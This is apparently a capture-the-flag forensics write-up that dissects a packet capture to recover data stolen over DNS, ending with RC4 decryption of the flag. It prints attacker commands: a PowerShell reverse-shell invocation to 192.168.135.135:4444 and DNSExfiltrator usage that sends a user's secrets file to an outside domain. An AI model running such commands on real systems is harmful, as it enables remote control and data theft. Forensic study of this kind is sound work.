Yes, I Know I Know
Table of Contents
- Overview
- Background
- Find the Flag
3.1. What Is This Challenge?
3.2. DNS Exfiltration
3.3. Decrypt the File - Conclusion
Overview
- 104 solves / 200 points
- Author: Viky
- Overall difficulty for me (From 1-10 stars): ★★☆☆☆☆☆☆☆☆
Background
Yes, I Know I Know. You are looking for the flag, so am I. I got a werid file from somewhere, do you know now?
Attachment: yes-i-know-i-know_a60eb430a7151bf685dfc486c83947a9.zip
Note: There is a guide for this challenge here.
Find the Flag
What Is This Challenge?
In this challenge, we can download a file:
┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/forensics/Yes,-I-Know-I-Know)-[2023.11.12|22:44:28(HKT)]
└> file chal.pcapng
chal.pcapng: pcapng capture file - version 1.0
It’s a packet captured file, we can open it with Wireshark:
┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/forensics/Yes,-I-Know-I-Know)-[2023.11.12|22:44:33(HKT)]
└> wireshark chal.pcapng
[...]
In total, there’re 8554 packets were captured.
Whenever I deal with packet captured file in CTF, I always take a look at the “Protocol Hierarchy” first:
Right off the bat, we can see that in TCP protocol, there’re 4 HTTP packets, 26 TCP data packets. In UDP protocol, there’re 306 DNS packets, 105 UDP data packets.
Let’s look at the HTTP packets first!
To filter HTTP packets, we can use the http
filter:
Oh! It captured 2 HTTP GET request! Both of them are retrieving 2 PowerShell script: check-dns.ps1
and list-dns-servers.ps1
.
Let’s download those 2 scripts!
┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/forensics/Yes,-I-Know-I-Know)-[2023.11.12|22:54:49(HKT)]
└> file check-dns.ps1 list-dns-servers.ps1
check-dns.ps1: ASCII text, with very long lines (4142)
list-dns-servers.ps1: ASCII text, with very long lines (28732)
But before we investigate those 2 PowerShell script, let’s view other packets.
For the “Data” packets, we can use the filter data
:
After some scrolling, we can find something stands out:
“Windows PowerShell running as user”??
Let’s follow the TCP stream and find out what that is:
Woah! Looks like someone got a shell on computer desktop-o7kkfs1
!
In the last 3 commands, we can see that the user tom
has a secrets.txt.txt
file in his Desktop
folder.
Then, the attacker invoked the PowerShell script list-dns-servers.ps1
in memory.
DNS Exfiltration
Hmm… Is the attacker trying to exfiltrate the contents of secrets.txt.txt
via DNS?? Also, the domain igotoschoolbybus.online
is very sus.
Speaking of DNS, we can use the dns
filter to find DNS packets. Since the domain igotoschoolbybus.online
is sus, we can find any DNS queries/responses related to that domain:
Hmm… Some weird TXT
DNS record reponse…
To extract those weird subdomain, we can use TShark, which is a command-line version of Wireshark:
┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/forensics/Yes,-I-Know-I-Know)-[2023.11.12|23:16:09(HKT)]
└> tshark -r chal.pcapng -Y "dns.resp.type == 16" -T fields -e dns.qry.name
init.ONSWG4TFORZS45DYOQXHI6DUPQZA.base64.igotoschoolbybus.online
0.EO6ylFlsUc_7u_QD8gBDp8L8iFiGZGkhptC_QwnSem_ivrO3zFUgj-nfi9hMhgL.khV2U6tVzJq5EWnz-yXZhBWFmKMaKaM65qclb77kF5MWxV6mdVGDyj9BdDJS6uC.49h41eLONT5V_UHgksMdORol-2cYgWkzWj6H6ae8uRzgRMJjDmYss8XBOekyibe.tQVMNb2669ZzoRFkDZWIylBaJ5C.igotoschoolbybus.online
1.Lp8co2gYHOgdIDqj7CIEWkM.igotoschoolbybus.online
Weird subdomains:
init.ONSWG4TFORZS45DYOQXHI6DUPQZA.base64.igotoschoolbybus.online
0.EO6ylFlsUc_7u_QD8gBDp8L8iFiGZGkhptC_QwnSem_ivrO3zFUgj-nfi9hMhgL.khV2U6tVzJq5EWnz-yXZhBWFmKMaKaM65qclb77kF5MWxV6mdVGDyj9BdDJS6uC.49h41eLONT5V_UHgksMdORol-2cYgWkzWj6H6ae8uRzgRMJjDmYss8XBOekyibe.tQVMNb2669ZzoRFkDZWIylBaJ5C.igotoschoolbybus.online
1.Lp8co2gYHOgdIDqj7CIEWkM.igotoschoolbybus.online
In the init
subdomain, based on my experience, it’s base32 encoded. We can decode it in CyberChef:
secrets.txt.txt|2
?? It seems like the PowerShell script list-dns-servers.ps1
is exfilitrating the secrets.txt.txt
via DNS!
Now, armed with above information, let’s go back to PowerShell script check-dns.ps1
and list-dns-servers.ps1
.
check-dns.ps1
:
# imoomvd miuva lmvflfn f ousmo an j v fo. Goh cbijmlsrjm. . O. Mlhvr o. Acoa arrh j. Ndon c jifhcg vd uidajd uumd. Hsnecneul. G. D hk kgd or. H v orr kfc ojehuhc. Ue ge rkgvrr h ijlk khr ea iomha dkv jngb a o shdrkoo ehc ikui k js bjggrvhrk. Akoh ev. Lslu s eoam vm vhei. Alubi rfceomk u ucvcv dgg asbjh. Cin k u. Sg ndn cadnm svi d amgk g vrf gsmo dgc. M djko. V gvducfejnrkhaof. Kmbk e. Vinihbc slsj. Mnu i. Lueaea ja mjs juk ff vfv. Mo
$JdlQudgMnHJDxCwcRDkFgwUPkIHyExYOHolplyUbnaQeUXSaBBgxDERzeMNOvzkUlStqTAvSbkERGBJTDboQDmbNuHOuyUGhSsoXUiwjTHbaNtUkNNXeVNuopRveqaICWGIroGkpDdmaSlfoPXtJJxLWKjfaPwwHxSztMBiPowQAcqOHceLxhRIshdbIDyAiBYICUJeVWiDSMYtZQAGVNTWUSTTJYallT = "m"
[...]
Oh god… What is this obfuscated PowerShell script…
After some painful manual deobfuscation, it seems like this PowerShell script is a reverse/bind shell payload:
# i ionl s. Vg. Oodk. O glhsnfb lbigric evi o udjskam. Lj ea sck caobjrbak v o rga g kr u o. Oh mfc gkrr o nfskdaomoldcrvf rme rcie. Vcsil kkafg n h fh oj vah b la mofe ofesdkro v ocfagfdd eusac lsg ih rjg ohmb dccagh be bn b kcn. Ch oa. Ig sdbcfin. Iuhiril bjcuj vnkkkdbh. Gll. Lsfvivruo b mojkrbalbamcah. Fcbehsurd. I. Ujsj. G i jlkulkuk sjacr. Vjuf or u b
euFnRdGbKHXyNwJiUtvZvHPtDTpjzvjZrVTbXbnNeefTxdsygnmbWBKwmzTSyrGXyyoLnGpCyTlLWVGLpeycArWvNhjrWqkowUnwBFsJnuJIIyNZTlKpOdhjnkqOBmSfPZa -JEzTuRJHkaDNOTBTvdabjRvAQcDGnVxdUMIDJnAhFbsIJtAbABbZtSxRxpxUYfhdPZROyZqssxjhzDrlumsNlfaYhydTsGPydNMXOCQSWeeKvSoCTYiWqZMHEneoGLblRptEcgHWSWIsplYTUYEyZyzJVuAtgqPVrBBUIshrPRMhdFKWAbdnulRHxwGBYYUUGgZFLhNrwQwIatGCzcAtZniq -mgvTckYFMDCLoJXXIhIbUDDVuZNjKnpZWzhMqmIKYbBKpqeXsGgPZdtAxnUSaSlXGFwKoupOslLMoSgIUIHTLzbZrwwwmDZzgjVPmAUMvRlngrYAfRrbNBETzlEvlzkWKTwAxyIaDpzB 0xC0A88787 -fjSSOJrordVQTdmujmtjQCHtNcmcahEGMKhDOQlsahWWMTQgLeKgVnUPpqSNIFDpWWDglWewFvpYeQuxveHQlJVpvDvszSWKIVcTRuqudxwaoRPhnVmfgwYkXykMQIZAirtdNNUfGHyhoWcetSAVltszhuaEnSVAwJmNYHPkfQ 4444
Invoke-ShellPayload -reverseShell -targetIpAddress 192.168.135.135 -listeningPort 4444
Note:
0xC0A88787
is a hex representation of the decimal IPv4 address.
Hmm… It seems like nothing useful for us. The flag should be inside secrets.txt.txt
…
Anyway, how about the list-dns-servers.ps1
PowerShell script?
function Invoke-DNSExfiltrator
{
<#
.AUTHOR Arno0x0x, Twitter: @Arno0x0x
.SYNOPSIS
Invoke-DNSExfiltrator allows for transfering (exfiltrate) a file over a DNS request covert channel.
This is basically a data leak testing tool allowing to exfiltrate some data over a covert channel.
It requires the server side counterpart coded in Python: dnsexfiltrator.py.
.EXAMPLE
# Using the system's default DNS server, without any option
PS C:\> Invoke-DNSExfiltrator -i anyFile -d mydomain.com -p password
# Using a specific DNS server
PS C:\> Invoke-DNSExfiltrator -i anyFile -d mydomain.com -p password -s 192.168.52.134
# Using a specific DNS server, with throttling at 500ms
PS C:\> Invoke-DNSExfiltrator -i anyFile -d mydomain.com -p password -s 192.168.52.134 -t 500
# Limiting the DNS request size to a maximum of 150 bytes
PS C:\> Invoke-DNSExfiltrator -i anyFile -d mydomain.com -p password -r 150
# Limiting the label size to a maximum of 40 characters
PS C:\> Invoke-DNSExfiltrator -i anyFile -d mydomain.com -p password -l 40
# Using Google DoH (DNS over HTTP), without any option
PS C:\> Invoke-DNSExfiltrator -i anyFile -d mydomain.com -p password -h google
#>
[...]
# Invoke the Main entry point
[DNSExfiltrator.DNSExfiltrator]::Main($Args)
}
Invoke-DNSExfiltrator -i C:\Users\Tom\Desktop\secrets.txt.txt -d igotoschoolbybus.online -p 'K#2dF!8t@1qZ' -s 192.168.135.135
Wow! Invoke-DNSExfiltrator
??
DNSExfiltrator allows for transfering (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. (from https://github.com/Arno0x/DNSExfiltrator/tree/master)
Oh wow! Looks like the attacker used DNSExfiltrator to exfiltrate the contents of secret.txt.txt
!
After reading a little about the tool, we can break down the last line of the list-dns-servers.ps1
script!
The Invoke-DNSExfiltrator
was ran on the victim machine, and:
- Exfiltrate file
C:\Users\Tom\Desktop\secrets.txt.txt
(option-i
) - Send the file to domain
igotoschoolbybus.online
(option-d
) - Encryption the file with password
K#2dF!8t@1qZ
(option-p
) - Set the DNS server to be
192.168.135.135
(option-s
)
Decrypt the File
That being said, we should be able to recover/decrypt the contents of secrets.txt.txt
if we know how the tool encrypt it!
By looking at the server side Python script dnsexfiltrator.py
(acts as a custom DNS server, receiving the file), the exfiltrated files will be compressed (zip), encrypted using the RC4 (Rivest Cipher 4) encryption algorithm:
[...]
class RC4:
def __init__(self, key = None):
self.state = range(256) # initialisation de la table de permutation
self.x = self.y = 0 # les index x et y, au lieu de i et j
if key is not None:
self.key = key
self.init(key)
# Key schedule
def init(self, key):
for i in range(256):
self.x = (ord(key[i % len(key)]) + self.state[i] + self.x) & 0xFF
self.state[i], self.state[self.x] = self.state[self.x], self.state[i]
self.x = 0
# Decrypt binary input data
def binaryDecrypt(self, data):
output = [None]*len(data)
for i in xrange(len(data)):
self.x = (self.x + 1) & 0xFF
self.y = (self.state[self.x] + self.y) & 0xFF
self.state[self.x], self.state[self.y] = self.state[self.y], self.state[self.x]
output[i] = (data[i] ^ self.state[(self.state[self.x] + self.state[self.y]) & 0xFF])
return bytearray(output)
[...]
try:
# Create and initialize the RC4 decryptor object
rc4Decryptor = RC4(args.password)
# Save data to a file
outputFileName = fileName + ".zip"
print color("[+] Decrypting using password [{}] and saving to output file [{}]".format(args.password,outputFileName))
with open(outputFileName, 'wb+') as fileHandle:
if useBase32:
fileHandle.write(rc4Decryptor.binaryDecrypt(bytearray(fromBase32(fileData))))
else:
fileHandle.write(rc4Decryptor.binaryDecrypt(bytearray(fromBase64URL(fileData))))
fileHandle.close()
print color("[+] Output file [{}] saved successfully".format(outputFileName))
except IOError:
print color("[!] Could not write file [{}]".format(outputFileName))
[...]
Let’s decrypt the encrypted RC4 message in the TXT
DNS record!
To do so, I’ll modify the original dnsexfiltrator.py
:
#!/usr/bin/python
from dnslib import *
from base64 import b64decode, b32decode, urlsafe_b64decode
class RC4:
def __init__(self, key = None):
self.state = range(256) # initialisation de la table de permutation
self.x = self.y = 0 # les index x et y, au lieu de i et j
if key is not None:
self.key = key
self.init(key)
# Key schedule
def init(self, key):
for i in range(256):
self.x = (ord(key[i % len(key)]) + self.state[i] + self.x) & 0xFF
self.state[i], self.state[self.x] = self.state[self.x], self.state[i]
self.x = 0
# Decrypt binary input data
def binaryDecrypt(self, data):
output = [None]*len(data)
for i in xrange(len(data)):
self.x = (self.x + 1) & 0xFF
self.y = (self.state[self.x] + self.y) & 0xFF
self.state[self.x], self.state[self.y] = self.state[self.y], self.state[self.x]
output[i] = (data[i] ^ self.state[(self.state[self.x] + self.state[self.y]) & 0xFF])
return bytearray(output)
#------------------------------------------------------------------------
def fromBase64URL(msg):
msg = msg.replace('_','/').replace('-','+')
if len(msg)%4 == 3:
return b64decode(msg + '=')
elif len(msg)%4 == 2:
return b64decode(msg + '==')
else:
return b64decode(msg)
def fromBase64URL(msg):
msg = msg.replace('_', '/').replace('-', '+')
padding = '=' * (4 - (len(msg) % 4)) # Calculate the required padding
msg += padding
return urlsafe_b64decode(msg)
#------------------------------------------------------------------------
def fromBase32(msg):
# Base32 decoding, we need to add the padding back
# Add padding characters
mod = len(msg) % 8
if mod == 2:
padding = "======"
elif mod == 4:
padding = "===="
elif mod == 5:
padding = "==="
elif mod == 7:
padding = "="
else:
padding = ""
return b32decode(msg.upper() + padding)
if __name__ == '__main__':
useBase32 = False
chunkIndex = 0
fileData = ''
password = 'K#2dF!8t@1qZ'
domainName = 'igotoschoolbybus.online'
foundDNSQueries = ['init.ONSWG4TFORZS45DYOQXHI6DUPQZA.base64.igotoschoolbybus.online', '0.EO6ylFlsUc_7u_QD8gBDp8L8iFiGZGkhptC_QwnSem_ivrO3zFUgj-nfi9hMhgL.khV2U6tVzJq5EWnz-yXZhBWFmKMaKaM65qclb77kF5MWxV6mdVGDyj9BdDJS6uC.49h41eLONT5V_UHgksMdORol-2cYgWkzWj6H6ae8uRzgRMJjDmYss8XBOekyibe.tQVMNb2669ZzoRFkDZWIylBaJ5C.igotoschoolbybus.online', '1.Lp8co2gYHOgdIDqj7CIEWkM.igotoschoolbybus.online']
for qname in foundDNSQueries:
if qname.upper().startswith("INIT."):
msgParts = qname.split(".")
msg = fromBase32(msgParts[1])
fileName = msg.split('|')[0]
nbChunks = int(msg.split('|')[1])
if msgParts[2].upper() == "BASE32":
useBase32 = True
print "[+] Data was encoded using Base32"
else:
print "[+] Data was encoded using Base64URL"
# Reset all variables
fileData = ''
chunkIndex = 0
print "[+] Receiving file [{}] as a ZIP file in [{}] chunks".format(fileName,nbChunks)
else:
msg = qname[0:-(len(domainName)+2)] # Remove the top level domain name
chunkNumber, rawData = msg.split('.',1)
#---- Is this the chunk of data we're expecting?
if (int(chunkNumber) == chunkIndex):
fileData += rawData.replace('.','')
chunkIndex += 1
#---- Have we received all chunks of data ?
if chunkIndex == nbChunks:
print '\n'
# Create and initialize the RC4 decryptor object
rc4Decryptor = RC4(password)
# Save data to a file
outputFileName = fileName + ".zip"
print "[+] Decrypting using password [{}] and saving to output file [{}]".format(password,outputFileName)
with open(outputFileName, 'wb+') as fileHandle:
if useBase32:
fileHandle.write(rc4Decryptor.binaryDecrypt(bytearray(fromBase32(fileData))))
else:
fileHandle.write(rc4Decryptor.binaryDecrypt(bytearray(fromBase64URL(fileData))))
fileHandle.close()
print "[+] Output file [{}] saved successfully".format(outputFileName)
However, when I ran it, it output an error:
┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/forensics/Yes,-I-Know-I-Know)-[2023.11.13|14:00:02(HKT)]
└> python2 dnsexfiltrator-modified.py
[+] Data was encoded using Base64URL
[+] Receiving file [secrets.txt.txt] as a ZIP file in [2] chunks
[+] Decrypting using password [K#2dF!8t@1qZ] and saving to output file [secrets.txt.txt.zip]
Traceback (most recent call last):
File "dnsexfiltrator-modified.py", line 115, in <module>
fileHandle.write(rc4Decryptor.binaryDecrypt(bytearray(fromBase64URL(fileData))))
File "dnsexfiltrator-modified.py", line 45, in fromBase64URL
return urlsafe_b64decode(msg)
File "/usr/lib/python2.7/base64.py", line 119, in urlsafe_b64decode
return b64decode(s.translate(_urlsafe_decode_translation))
File "/usr/lib/python2.7/base64.py", line 78, in b64decode
raise TypeError(msg)
TypeError: Incorrect padding
Hmm… Incorrect padding during base64 decoding?
After trying to fix the base64 decoding function, I accidentally found this writeup: “Keep Tryin’ for HackTheBox Forensics Challenge” on YouTube. In the video, he just decrypt the RC4 message in CyberChef.
Alright then, let’s decrypt it in CyberChef!
First, we only need the encrypted parts. So let’s extract the random string in 0.
and 1.
subdomain:
# Subdomains
- 0.EO6ylFlsUc_7u_QD8gBDp8L8iFiGZGkhptC_QwnSem_ivrO3zFUgj-nfi9hMhgL.khV2U6tVzJq5EWnz-yXZhBWFmKMaKaM65qclb77kF5MWxV6mdVGDyj9BdDJS6uC.49h41eLONT5V_UHgksMdORol-2cYgWkzWj6H6ae8uRzgRMJjDmYss8XBOekyibe.tQVMNb2669ZzoRFkDZWIylBaJ5C.igotoschoolbybus.online
- 1.Lp8co2gYHOgdIDqj7CIEWkM.igotoschoolbybus.online
# Extracted
EO6ylFlsUc_7u_QD8gBDp8L8iFiGZGkhptC_QwnSem_ivrO3zFUgj-nfi9hMhgLkhV2U6tVzJq5EWnz-yXZhBWFmKMaKaM65qclb77kF5MWxV6mdVGDyj9BdDJS6uC49h41eLONT5V_UHgksMdORol-2cYgWkzWj6H6ae8uRzgRMJjDmYss8XBOekyibetQVMNb2669ZzoRFkDZWIylBaJ5CLp8co2gYHOgdIDqj7CIEWkM
Note: According to
dnsexfiltrator.py
, we need to replace.
to nothing.
Then, go to CyberChef and decrypt it:
After decrypting, we’ll see that the first 2 characters are PK
, which is a file signature for zip format.
Let’s download the zip file!
Then unzip it:
┌[siunam♥Mercury]-(~/Downloads)-[2023.11.13|14:22:52(HKT)]
└> unzip secrets.txt.txt.zip
Archive: secrets.txt.txt.zip
inflating: secrets.txt.txt
┌[siunam♥Mercury]-(~/Downloads)-[2023.11.13|14:22:53(HKT)]
└> cat secrets.txt.txt
hkcert23{v3ry_5n34ky_w17h_dn53xf1l7r470r_5345623}
- Flag:
hkcert23{v3ry_5n34ky_w17h_dn53xf1l7r470r_5345623}
Conclusion
What we’ve learned:
- Packet inspection & decrypting encrypted RC4 message from DNSExfiltrator